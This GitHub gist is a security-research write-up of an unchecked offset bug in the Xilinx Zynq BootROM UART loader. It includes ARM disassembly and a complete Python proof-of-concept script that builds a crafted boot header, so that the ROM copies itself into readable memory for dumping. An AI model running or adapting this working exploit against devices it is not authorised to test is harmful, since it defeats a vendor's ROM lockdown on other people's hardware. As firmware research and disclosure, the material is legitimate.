Skip to content

Instantly share code, notes, and snippets.

@s0kil
Forked from four0four/01-zynq-uart-exploit.md
Created January 6, 2024 19:17
Show Gist options
  • Save s0kil/157e1b832380229d02b3120b28cfaf72 to your computer and use it in GitHub Desktop.
Save s0kil/157e1b832380229d02b3120b28cfaf72 to your computer and use it in GitHub Desktop.
Zynq BootROM Secrets: BootROM dump exploit

Zynq BootROM Secrets: Exposing the bootROM with the UART loader

Last time I wrote about this, I lied a little - There is an interesting bug in the UART loader, and it may have been exactly why Xilinx didn't document it. In short: The UART loader writes the entire UART payload to a location in memory (nominally 0x4_0000). The ROM is architected such that when the boot mode is selected, it registers a callback that is called when the ROM wants more data from the boot device. For the UART loader, this is pretty simple - here's the whole thing:

; void uart_callback(u32 r0_offset, void* r1_dest, i32 r2_nbytes)
ROM:0000A578 PUSH            {R3,LR}
ROM:0000A57C MOV             R3, #uart_buff
ROM:0000A584 MOV             R12, #1
ROM:0000A588 LDR             R3, [R3]
ROM:0000A58C MOVT            R12, #7
ROM:0000A590 ADD             R3, R3, R0
ROM:0000A594 CMP             R3, R12            ; 0x7_0001
ROM:0000A598 BHI             exit
ROM:0000A59C SUB             R12, R3, #0x70000
ROM:0000A5A0 SUB             LR, R12, #1
ROM:0000A5A4 ADD             R0, LR, R2
ROM:0000A5A8 CMP             R0, #0
ROM:0000A5AC RSBGT           R2, R0, R2 ; nbytes
ROM:0000A5B0 MOV             R0, R1  ; dst
ROM:0000A5B4 MOV             R1, R3  ; src
ROM:0000A5B8 BL              memcpy
ROM:0000A5BC
ROM:0000A5BC exit:
ROM:0000A5BC MOV             R0, #0
ROM:0000A5C0 POP             {R3,PC}

The check at 0xa5a8 we can ignore, it's not important - suffice to say the length is well-checked, even though it's signed. The interesting part is the memcpy source address calculation: There are absolutely no checks on this, and it just adds our offset argument directly. Well, ok - It checks to see that the raw address is not above 0x7_0001. That's nice - if we fully control offset at any point where dest is something that persists after the ROM has locked itself down, we can stash stuff to look at later.

During a normal boot process, our callback is called a handful of times (no TOCTOU, sorry: most stuff ends up being cached in the caller) to read snippets of the image header (documented in the Zynq TRM).

The final call (in non-secureboot mode) is to just read the whole image, starting at the bootrom header field "Source Offset" - plus, if we're starting from a multiboot-capable image, that multiboot image base offset. UART isn't, so that is always 0.

"Source Offset" is entirely unchecked, so...Since we completely control this 32-bit field, we can also completely control the result when a constant is added. In this case, we can certainly make it equal zero, which definitely passes that singular check.

There's a script attached to exploit this - Run it, attach your favorite debugger and find the ROM readily in OCM RAM starting at 0 (mrd -bin -file whatever.bin 0 0x8000 will do the trick). The only bit that could not be determined by experimentation is the entry point I use (just a busy loop). Obviously this is just a quality of life thing :)

Anyway, hope this is a little interesting, or provides a reason to be a little more careful about pointer math, or minimally gives everyone an easier way of getting at the ROM without copyright issues or glitching or (...tbd...). Happy hacking!

Demo/PoC:

disassembly of the bootrom vector table

small aside: if you have one of those cheap eBay Antminer boards (schematic here), the UART header is hooked up perfectly: you can select the correct mode by setting the two outermost jumpers toward the board edge, and the inner two the opposite direction.

additional aside: it is possible to stash code based at 0x4_0000. you cannot specify an entrypoint over 0x3_0000, so it's not possible to jump directly into this code. you have a single jump with very minimal (non-existant, really) register control - is it possible to write the exploit such that it dumps the bootrom entirely over UART without the aid of JTAG or another boot device? I suspect so, but have not proved it out. You can be first!

#!/bin/env python3
from struct import pack as p
from struct import unpack as up
import serial
import time
import sys
baudgen = 0x11
reg0 = 0x6
def chksum(data):
chk = 0
for d in data:
chk += d
return chk
def hdrchksum(data):
chk = 0
for i in range(0, len(data), 4):
chk += up("<I", data[i:i+4])[0]
chk &= 0xFFFF_FFFF
return chk
def gen_hdr():
hdr = bytes()
# xip ivt
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
hdr += p("<I", 0xeafffffe)
# width detect
hdr += p("<I", 0xaa995566)
hdr += b'XNLX'
# encryption + misc
hdr += p("<II", 0, 0x01010000)
# :D ('source offset' - why yes, I'd like to boot the bootrom!)
hdr += p("<I", 0x1_0000_0000-0x40000)
# len
hdr += p("<I", 0x2_0000)
# load addr 0 or 0x4_0000 lol
hdr += p("<I", 0)
# entrypt (just a loop :))
hdr += p("<I", 0x0FCB4)
#"total image len" doesn't matter
hdr += p("<I", 0x010014)
# QSPI something something
hdr += p("<I", 1)
# checksum
hdr += p("<I", 0xffff_ffff - hdrchksum(hdr[0x20:]))
# unused...
for _ in range(19):
hdr += p("<I", 0)
# not sure at allll:
hdr += p("<II", 0x8c0,0x8c0)
for _ in range(0x100):
hdr += p("<II", 0xffff_ffff, 0)
# init lists
return hdr
img = gen_hdr()
size = len(img)
checksum = chksum(img)
print("checksum: "+hex(checksum))
print("len: "+str(size))
ser = serial.Serial(timeout=0.5)
ser.port = "/dev/ttyUSB0"
ser.baudrate = 115200
ser.open()
while ser.read(1) != b'X':
continue
assert ser.read(8) == b'LNX-ZYNQ'
ser.write(b"BAUD")
ser.write(baudgen.to_bytes(4, 'little'))
ser.write(reg0.to_bytes(4, 'little'))
ser.write(size.to_bytes(4, 'little'))
ser.write(checksum.to_bytes(4, 'little'))
print("writing image...")
# sleep here 'cause this is where they hit resets for the tx/rx logic,
# and anything in-flight when that happens is lost (it happens a fair bit)
time.sleep(0.1)
print("wrote: " + str(ser.write(img)))
# let any error logic propagate..
time.sleep(0.1)
if ser.in_waiting == 0:
print("ok, i think we are done, ROM is 0x20000 bytes starting at 0 :)")
else:
print("something went wrong? bootrom says: " + str(ser.read(ser.in_waiting)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment